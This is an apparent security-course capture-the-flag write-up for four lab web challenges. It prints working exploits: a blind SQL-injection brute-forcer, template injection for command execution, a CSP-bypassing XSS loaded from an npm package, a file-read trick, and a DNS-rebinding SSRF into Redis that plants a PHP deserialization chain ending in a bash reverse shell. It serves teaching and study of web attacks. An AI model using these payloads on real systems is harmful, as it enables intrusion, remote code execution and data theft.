---
# System prepended metadata

title: SWSEC HW4 Writeup
tags: [swsec, writeup]

---

# SWSEC HW4 Writeup
###### tags: `swsec` `writeup`

<style>
    p:has(img) {
        text-align: center;
    }
    
    .markdown-body img {
        max-width: 75%;
    }
</style>

## Double Injection - FLAG1
`app/app.js`
```javascript
    const { username, password } = req.body;
    const jsonPath = JSON.stringify(`$.${username}.password`);
    const query = `SELECT json_extract(users, ${jsonPath}) AS password FROM db`;
```

查看原始碼可以看到 username 會塞進 `jsonPath` 後透過 `JSON.stringify` 來加上雙引號並用 `\` escape 裡面本來的雙引號

另外參考 [SQL Language Expressions](https://www.sqlite.org/lang_expr.html):
> A single quote within the string can be encoded by putting two single quotes in a row - as in Pascal. C-style escapes using the backslash character are not supported because they are not standard SQL.

因此實際上用 `\` 是無法 escape 引號的 所以輸入中的 `"` 仍可將最一開頭 `JSON.stringify` 加上的雙引號閉合

當輸入 `username")/*` 時 `json_extract` 的 path 參數會變為 `$.username\` 即該返斜線會被視為 path 的一部分

查閱 [JSON Functions And Operators](https://www.sqlite.org/json1.html#jptr) 可看到使用 `->>` operator 也可達到與 `json_extract` 相同效果

從 users 指定 json path 為 `$.admin.password` 並用 `SUBSTR` 切出單字元 再命名為 `password` 回傳 即可透過密碼欄位一個一個字元爆破 flag

`Double Injection - FLAG1/exp.py`
```python
import concurrent.futures
from typing import Dict
from string import digits, ascii_letters, punctuation
import requests as r

HOST = "http://10.113.184.121:10081"
CHARSET = digits + ascii_letters + punctuation

def query(idx, c):
    data = { 
        "username": f"""username"), SUBSTR(users ->> '$.admin.password', {idx}, 1) AS password FROM db /*""",
        "password": c
    }
    res = r.post(f"{HOST}/login", data=data)
    return "Success" in res.text

flag = ""
while True:
    with concurrent.futures.ThreadPoolExecutor() as executor:
        futures: Dict[concurrent.futures.Future, str] = dict()
        for c in CHARSET:
            futures[executor.submit(query, len(flag) + 1, c)] = c

        for future in concurrent.futures.as_completed(futures.keys()):
            res = future.result()
            if res:
                flag += futures[future]
                break
        else:
            # break while
            break

        # clean up
        for future in futures.keys():
            future.cancel()
print(flag)
```
FLAG: `FLAG{sqlite_js0n_inject!on}`

## Double Injection - FLAG2
可以看到 username 會直接被放入 `template` 最後在密碼與 FLAG1 相同時即會傳入 render
因此可以透過 username 來做 SSTI 以達到 RCE

```javascript
    const template = `
    <html><head><title>Success</title></head><body>
    <h1>Success!</h1>
    <p>Logged in as ${username}</p>
    </body></html>
    `
    db.get(query, (err, row) => {
        if (res.headersSent) return;
        if (err) return res.status(500).send('Internal Server Error' + err);
        if (row.password === password) {
            if (password !== FLAG1) {
                const html = ejs.render(`<h1>Success!</h1>`, { username });
                return res.send(html);
            } else {
                const html = ejs.render(template, { username });
```

ejs 使用 `<% %>` 作為 template tags 而使用 `<%= expression %>` 則可印出 expression 的值
另外 從 `global.process.mainModule` 底下可以拿到 `require` 來 require `child_process` 搞 RCE

`Double Injection - FLAG2/exp.py`
```python
import re
import requests as r

HOST = "http://10.113.184.121:10081"
FLAG1 = "FLAG{sqlite_js0n_inject!on}"
RCE = """<%= global.process.mainModule.require('child_process').execSync('{}') %>"""

def rce(cmd):
    data = { 
        "username": """username="), users ->> '$.admin.password' AS password FROM db /* {}""".format(RCE.format(cmd)),
        "password": FLAG1
    }
    res = r.post(f"{HOST}/login", data=data)
    return res.text

fn = re.findall("(flag2-\w+.txt)", rce("ls /"))[0]
flag = re.findall("FLAG\{.+?\}", rce(f"cat /{fn}"))[0]
print(flag)
```

![image](https://hackmd.io/_uploads/SkK0FkkOT.png)

FLAG: `FLAG{ezzzzz_sqli2ssti}`

## Note - FLAG1
`app/static/note.js`
```javascript
        const note = document.querySelector('#note');
        note.innerHTML = `
                <h1>${result.title}</h1>
                <p>${marked.parse(result.content)}</p>
                <hr/>
                <span style="color: #999">
                    By @${result.author}・🔒 Private・
                    <form action="/report" style="display: inline" method="post">
                        <input type="hidden" name="note_id" value="${noteId}">
                        <input type="hidden" name="author" value="${result.author}">
                        <input type="submit" value="Report">
                    </form>
                </span>
                `;
```

可以看到筆記內容會在經過 `marked.parse()` 後設為某個 Element 的 innerHTML
因為 marked 會保留 inline HTML 所以可以用來 XSS 但透過 innerHTML 插入的 script tag 不會有作用
但是用 `iframe` 的 `srcdoc` 即可內嵌 HTML 且 script 也會有作用

另外網站有 CSP 如下
```
default-src 'self'; style-src 'unsafe-inline'; script-src 'self' https://unpkg.com/
```

丟到 [CSP Evaluator](https://csp-evaluator.withgoogle.com/) 檢查

![image](https://hackmd.io/_uploads/SkQkWxJuT.png)

因為 `script-src 'self'` 所以我們也沒辦法直接塞如 `<img src=x onerror=alert(1)>` 的 payload 因為需要 `unsafe-inline` 才能執行

另外看到有 `unpkg.com` 而其為 npm 的 CDN 因此可以任意上傳 package 到 npm 並透過 unpkg 取得該程式碼

因此只要上傳 XSS exploit 到 npm 即可

Note:
```html!
<iframe srcdoc="<script src=https://unpkg.com/eductf-note-exp-pro@2.1.2/dist/exp.js></script>"></iframe>
```

iframe 因為有 CSP `iframe-src` 在管 而當沒設定時會 fallback 到 `default-src` (此處為 `self`)
因此無法透過 `location.href` 打 request 回自己 server
所以另外登入到自己的帳號發一篇新的 note

`Note - FLAG1/exp.js`
```javascript=
(async () => {
    let res = await fetch("/api/notes/all");
    let data = await res.json();
    let id = data[0]["id"];

    res = await fetch("/api/notes?id="+id);
    data = await res.json();
    let payload = btoa(data["content"]);

    res = await fetch("/login", {
        method: "POST",
        body: "username=&password=pass",
        headers: {
            "Content-Type": "application/x-www-form-urlencoded"
        }
    });

    res = await fetch("/api/notes", {
        method: "POST",
        body: JSON.stringify({"title":"flag", "content": payload}), 
        headers: {
            "Content-Type": "application/json"
        }
    });
    data = await res.json();
})()
```

FLAG: `FLAG{byp4ss1ing_csp_and_xsssssssss}`

## Note - FLAG2
```python
@app.get("/api/notes")
@login_required
def api_get_note_content():
    note_id = request.args.get("id")
    author = request.args.get("author") or session.get("username")

    if not note_id or ".." in note_id:
        return {"error": "Invalid note ID!"}, 400

    if not author or not re.match(r"^[a-zA-Z0-9_]+$", author):
        return {"error": "Invalid author!"}, 400

    user_dir = os.path.join(NOTES_DIR, author)

    if not os.path.exists(os.path.join(user_dir, note_id)):
        return {"error": "Note not found!"}, 404

    with open(os.path.join(user_dir, note_id)) as f:
        note_author = f.readline().strip()
        title = f.readline().strip()
        content = f.read().strip()

    if session['username'] != 'admin' and note_author != session["username"]:
        return {"error": "You do not have permission to view this note!"}, 403

    return {"author": note_author, "title": title, "content": content}
```

在讀取 note 的 route 中 可以看到 `note_id` 沒有做過濾
另外看到這行 `os.path.join(user_dir, note_id)`
再翻閱 [Python os.path docs](https://docs.python.org/3/library/os.path.html#os.path.join) 會看到以下內容:
> If a segment is an absolute path (which on Windows requires both a drive and a root), then all previous segments are ignored and joining continues from the absolute path segment.

因此只要 `note_id` 是絕對路徑 就可以任意讀檔

再看到
`app/Dockerfile`
```Dockerfile
FROM python:alpine
RUN pip3 install flask redis rq

COPY . /app

WORKDIR /app

RUN adduser -D -u 1000 ctf
RUN chown -R ctf:ctf /app
RUN chmod -R 555 /app && chmod -R 744 /app/notes

RUN mkdir -p /app/notes/admin && rm -rf /app/notes/admin/*
RUN UUID=$(python -c 'import uuid; print(uuid.uuid4(), end="")') && \
    echo -e "admin\nFLAG1\nFLAG{flag-1}" > "/app/notes/admin/$UUID" 

RUN chmod -R 555 /app/notes/admin

RUN echo 'FLAG{flag-2}' > "/flag2-$(tr -dc 'a-zA-Z0-9' < /dev/urandom | head -c 16).txt" && \
    chmod 444 /flag2-*

USER ctf

CMD [ "sh", "-c", "flask run --host=0.0.0.0 --port=5000" ]
```

Dockerfile 中有 flag 內容 又被 `COPY . /app` 複製到 container 中了
所以讀 `/app/Dockerfile` 就有 flag

因為是寫到自己帳號 而且帳號密碼在 script 裡 所以用 `bignumber.js` 做 RSA 加密
避免變成 free flag

Note:
```html!
<iframe srcdoc="<script src=https://unpkg.com/bignumber.js@9.1.2/bignumber.js></script><script src=https://unpkg.com/eductf-note-exp-pro@2.1.2/dist/lfi.js></script>"></iframe>
```

`Note - FLAG2/lfi.js`
```javascript
(async () => {
    let id = "/app/Dockerfile"
    let res = await fetch("/api/notes?id="+id);
    let data = await res.json();

    let content = data["content"];
    const regex = /FLAG\{.+?\}/g;
    let payload = [...content.matchAll(regex)].map(item=>item[0]).join("|");

    let p = new BigNumber(payload.split("").map(c=>c.charCodeAt(0).toString(16)).join(""), 16);

    let N = new BigNumber('...');
    let e = new BigNumber(65537);
    let cipher = p.exponentiatedBy(e, N).toString(16);

    res = await fetch("/login", {
        method: "POST",
        body: "username=user&password=pass",
        headers: {
            "Content-Type": "application/x-www-form-urlencoded"
        }
    });

    res = await fetch("/api/notes", {
        method: "POST",
        body: JSON.stringify({"title":"flag", "content": cipher}),
        headers: {
            "Content-Type": "application/json"
        }
    });
    data = await res.json();
})()
```

![solve](https://hackmd.io/_uploads/rkOdKek_p.png)

FLAG: `FLAG{n0t_just_4n_xss}`

## Private Browsing Revenge
參考原題 推測本題也使用 curl 因此嘗試 `file://` 讀 source code

![image](https://hackmd.io/_uploads/rkbdTQkda.png)

發現會檢查 hostname
可用 `file://localhost/var/www/html/api.php` 讓 php 抓到 `localhost` 作為 hostname 繞過

取得 source code:

`api.php`
```php
<?php
require_once __DIR__ . '/config.php';

function request($url, $method = 'GET', $data = null) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
    if ($data !== null) {
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    }
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    $response = curl_exec($ch);
    $error = curl_error($ch);
    curl_close($ch);
    if ($error) {
        return $error;
    }
    return $response;
}

if (!isset($_GET['action'])) {
    die();
}
$action = $_GET['action'];
if ($action === 'view' && isset($_GET['url'])) {
    header("Content-Security-Policy: script-src 'none'");
    header("X-Content-Type-Options: nosniff");
    $url = $_GET['url'];
    $_SESSION['history'][] = $url;
    $hostname = parse_url($url, PHP_URL_HOST);
    if (filter_var(gethostbyname($hostname), FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE) === false) {
        die('Error: Invalid IP or intranet ip in provided URL.<br>Reason:<code>(filter_var(gethostbyname($hostname), FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE) === false</code>');
    }
    echo request($url);
} else if ($action === 'get_history') {
    header('Content-Type: application/json');
    echo json_encode($_SESSION['history']);
} else if ($action === 'clear_history') {
    $_SESSION['history'] = []; 
    echo '{"status": "ok"}';
}
```

發現他會檢查 `$hostname` 不能是內網 IP

`config.php`
```php
<?php
require_once __DIR__ . '/../vendor/autoload.php';

$redis = new Predis\Client('tcp://redis:6379');
$handler = new Predis\Session\Handler($redis);
$handler->register();
session_start();
if (!isset($_SESSION['history'])) {
    $_SESSION['history'] = [];
}
```
另外知道內網有一個 redis 且透過 `predis` 來做連線

`composer.json`
```json
{ "require": { "predis/predis": "^2.2" } }
```
檢查 `composer.json` 沒有其他 library

`/proc/net/arp`

![image](https://hackmd.io/_uploads/rkzP14bd6.png)

推測 redis 應該是 `192.168.224.2`

有 curl 和 redis 可以用 `gopher://` 來操作 redis 但得繞過上面的 php IP 檢查
因為檢查跟實際 query 的時間是分開的 可以做 DNS Rebinding

用 [rbndr.us](https://lock.cmpxchg8b.com/rebinder.html) 即可建立如 `c0a8e002.7f000001.rbndr.us` 的 domain
其 resolve 結果會在 `127.0.0.1` 跟 `192.168.224.2` 隨機跳
多試幾次就會試到檢查時查到 `127.0.0.1` 而到 curl 時查到 `192.168.224.2`

由於其使用了 session 因此自帶 unserialize 的行為
接下來便是找 POP chain 由於題目本身根本沒提供 class 所以轉而到 predis 裡面找

先從 `call_user_func` 往上找起

`src/Connection/Factory.php`
```php=83
    public function create($parameters)
    {
        if (!$parameters instanceof ParametersInterface) {
            $parameters = $this->createParameters($parameters);
        }

        $scheme = $parameters->scheme;

        if (!isset($this->schemes[$scheme])) {
            throw new InvalidArgumentException("Unknown connection scheme: '$scheme'.");
        }

        $initializer = $this->schemes[$scheme];

        if (is_callable($initializer)) {
            $connection = call_user_func($initializer, $parameters, $this);
```
只要控 `Predis\Connection\Factory` 中的 `$this->scheme` 讓 `$initializer` 為 `'system'`
再控制 `$this->createParameters` 後的 `$parameter.toString()` 為 reverse shell command 即可

`src/Connection/Parameters.php`
```php=179
    public function __toString()
    {
        if ($this->scheme === 'unix') {
            return "$this->scheme:$this->path";
        }

        if (filter_var($this->host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) {
            return "$this->scheme://[$this->host]:$this->port";
        }

        return "$this->scheme://$this->host:$this->port";
    }
```

而 `Predis\Connection\Parameters` 的 `__toString` 定義如上 因此可以把 command 放在 `scheme` 最後再加上 `#` 把後面整段註解掉 這樣就不用管 `host` 跟 `port` 了

看回 `src/Connection/Factory.php`
```php=144
    protected function createParameters($parameters)
    {
        if (is_string($parameters)) {
            $parameters = Parameters::parse($parameters);
        } else {
            $parameters = $parameters ?: [];
        }

        if ($this->defaults) {
            $parameters += $this->defaults;
        }

        return new Parameters($parameters);
    }
```
為了繞開 `Parameters::parse` 這裡要控制呼叫 `Connection\Factory->create()` 時參數為 array 即可 剩下可用 `$this->defaults` 控制

---

接著找呼叫 `create()` 的地方

`src/Connection/Cluster/RedisCluster.php`
```php=336
    protected function createConnection($connectionID)
    {
        $separator = strrpos($connectionID, ':');

        return $this->connections->create([
            'host' => substr($connectionID, 0, $separator),
            'port' => substr($connectionID, $separator + 1),
        ]);
    }
```

只要控制 `$this->connections` 為 `Predis\Connection\Factory` 的 instance 
而且這裡的參數也非常剛好是 array 也不會蓋到 `scheme`

往上翻 reference 可以找到同 class 的 `getIterator`
```php=613
    public function getIterator()
    {
        if ($this->slotmap->isEmpty()) {
            $this->useClusterSlots ? $this->askSlotMap() : $this->buildSlotMap();
        }

        $connections = [];

        foreach ($this->slotmap->getNodes() as $node) {
            if (!$connection = $this->getConnectionById($node)) {
                $this->add($connection = $this->createConnection($node));
```
只要控制 `$this->slotMap` 不要是空的 且 `$node` 不存在於 `RedisCluster` 的 pool 中 即可觸發 `$this->createConnection`

---
要觸發 `IteratorAggregate->getIterator` 只要讓該 object 為 `foreach` 展開的對象即可 所以開始翻可控的 `foreach`

`src/Connection/Cluser/PredisCluster.php`
```php=88
    public function disconnect()
    {
        foreach ($this->pool as $connection) {
            $connection->disconnect();
```
這裡讓 `$this->pool` 控成 `RedisCluster` 的 instance 即可

---

接下來找呼叫 `disconnect()` 的 gadget

![image](https://hackmd.io/_uploads/HkOt6SJ_p.png =30%x)

`src/Response/Iterator/MultiBulk.php`
```php=41
    public function __destruct()
    {
        $this->drop(true);
    }

    /**
     * Drop queued elements that have not been read from the connection either
     * by consuming the rest of the multibulk response or quickly by closing the
     * underlying connection.
     *
     * @param bool $disconnect Consume the iterator or drop the connection.
     */
    public function drop($disconnect = false)
    {
        if ($disconnect) {
            if ($this->valid()) {
                $this->position = $this->size;
                $this->connection->disconnect();
```
篩選後只有 `Predis\Response\Iterator\MultiBulk` 有 `__destruct` 可以讓 pop chain 觸發又呼叫到 `disconnect`

把 `$this->connection` 控成 `PredisCluster` 的 instance
並讓 `$this->valid()` 回傳 true 即觸發後續 exploit

而其檢查很簡單:

`src/Response/Iterator/MultiBulkIterator.php`
```php=78
    public function valid()
    {
        return $this->position < $this->size;
    }
```

直接控制 `$this->position` 與 `$this->size` 滿足條件即可


---

最終造出 pop chain 如下:
```!
1. MultiBulk->__destruct() => MultiBulk->drop() => $this->connection->disconnect()

2. RedisCluster->getIterator() => $this->createConnection() => $this->connections->create()

3. Connection\Factory->create(<array>) => Factory->createParameters => new Parameter($this->defaults) => $initializer = $this->schemes[$this->defaults->scheme] =>
call_user_func($initializer, $parameters->__toString(), $this)
```

`Private Browsing Revenge/pop.php`
```php
<?php
namespace Predis\Connection {
    use Predis\Connection\Cluster\PredisCluster;

    class Factory {
        private $defaults = [
            'scheme' => 'bash -c "bash -i >& /dev/tcp/<ip>/40005 0>&1" #'
        ];
        protected $schemes = [
            'bash -c "bash -i >& /dev/tcp/<ip>/40005 0>&1" #' => 'system'
        ];
    }

    class Parameters {
        protected static $defaults = [
            'scheme' => 'tcp',
            'host' => '192.168.224.2',
            'port' => 6379
        ];
        protected $parameters;

        public function __construct(array $parameters = []) {
            $this->parameters = $parameters + static::$defaults;
        }
    }
}

namespace Predis\Connection\Cluster {
    use Predis\Cluster\SlotMap;
    use Predis\Connection\Factory;
        
    class RedisCluster {
        private $slotmap;
        private $connections;
        
        public function __construct() {
            $this->connections = new Factory();
            $this->slotmap = new SlotMap([ "value" => "key" ]); // array_flip
        }
    }

    class PredisCluster {
        private $pool = [];
        
        public function __construct() {
            $this->pool = new RedisCluster();
        }
    }
}

namespace Predis\Cluster {
    class SlotMap {
        private $slots = [];

        public function __construct($arr) {
            $this->slots = $arr;
        }
    }
}

namespace Predis\Response\Iterator {
    use Predis\Connection\Cluster\PredisCluster;

    class MultiBulk {
        private $connection;
        protected $position = 0;
        protected $size = 48763;

        public function __construct() {
            $this->connection = new PredisCluster();
        }
    }
}

namespace {
    use Predis\Response\Iterator\MultiBulk;

    $obj = new MultiBulk();
    session_start();
    $_SESSION['history'] = $obj;
    echo session_encode();
}
```

---

要打 gopher 前 先用 redis-py 裡面的 `PythonRespSerializer` 來把 redis command 包成 [RESP](https://redis.io/docs/reference/protocol-spec/) 格式
再用 `urllib.parse.quote_from_bytes` 把 payload urlencode 過

最後因為 curl 在某個版本後 ([commit](https://github.com/curl/curl/commit/31e53584db5879894809fbde5445aac7553ac3e2#diff-53720a33b2e6f5ad58191603f5fdeb5a92913cad34dbcc161555b6894cddd8de)) 
當 path 裡面中有 NULL byte (`%00`) 就會噴 `URL using bad/illegal format or missing URL`
而 `protected` 與 `private` 兩種 member 在 serialize 時都會被加上 NULL byte 所以要另外繞過

可以寫一個 XOR Key 跟 XOR 過沒 NULL byte 的 serialization payload 到 redis 裡面
再利用 [BITOP](https://redis.io/commands/bitop/) 指令來將偽造的 session 還原回來

`Private Browsing Revenge/exp.py`
```python
import time
import random
import secrets
import subprocess
from urllib.parse import quote_from_bytes

import requests as r
import redis.connection
import redis._parsers
from pwn import xor_key

PHPSESSID = secrets.token_hex(16)
REDIS = "7f000001.c0a8e002.rbndr.us:6379" # 192.168.224.2

SITE = "http://10.113.184.121:10083"
E1 = "Couldn't connect to server"
E2 = "Invalid IP or intranet ip in provided URL."

print(PHPSESSID)
s = r.Session()
serializer = redis.connection.PythonRespSerializer(
    6000,
    redis._parsers.Encoder("utf-8", "strict", False).encode
)
chain_payload = subprocess.check_output("php -f pop.php", shell=True)
key, chain_payload = xor_key(chain_payload, b"\x00", 1)
redis_payload = serializer.pack("SET", PHPSESSID + "1", key * len(chain_payload)) + \
                serializer.pack("SET", PHPSESSID + "2", chain_payload) + \
                serializer.pack("BITOP", "XOR", PHPSESSID, PHPSESSID + "1", PHPSESSID + "2") + \
                serializer.pack("DEL", PHPSESSID + "1", PHPSESSID + "2") + \
                serializer.pack("GET", PHPSESSID) + serializer.pack("QUIT")
redis_payload = b"".join(redis_payload)
ssrf_payload = f"gopher://{REDIS}/_" + quote_from_bytes(redis_payload)

print(ssrf_payload)

while True:
    res = s.get(f"{SITE}/api.php", params={ "action": "view", "url": ssrf_payload })
    if E1 not in res.text and E2 not in res.text:
        print(res.text)
        break
    time.sleep(random.randint(10, 100) / 1000)

print(s.cookies['PHPSESSID'])
res = r.get(f"{SITE}/config.php", cookies={ "PHPSESSID": PHPSESSID })
print(res.text)
```

FLAG: `FLAG{omg_a_looooong_pop_chain}`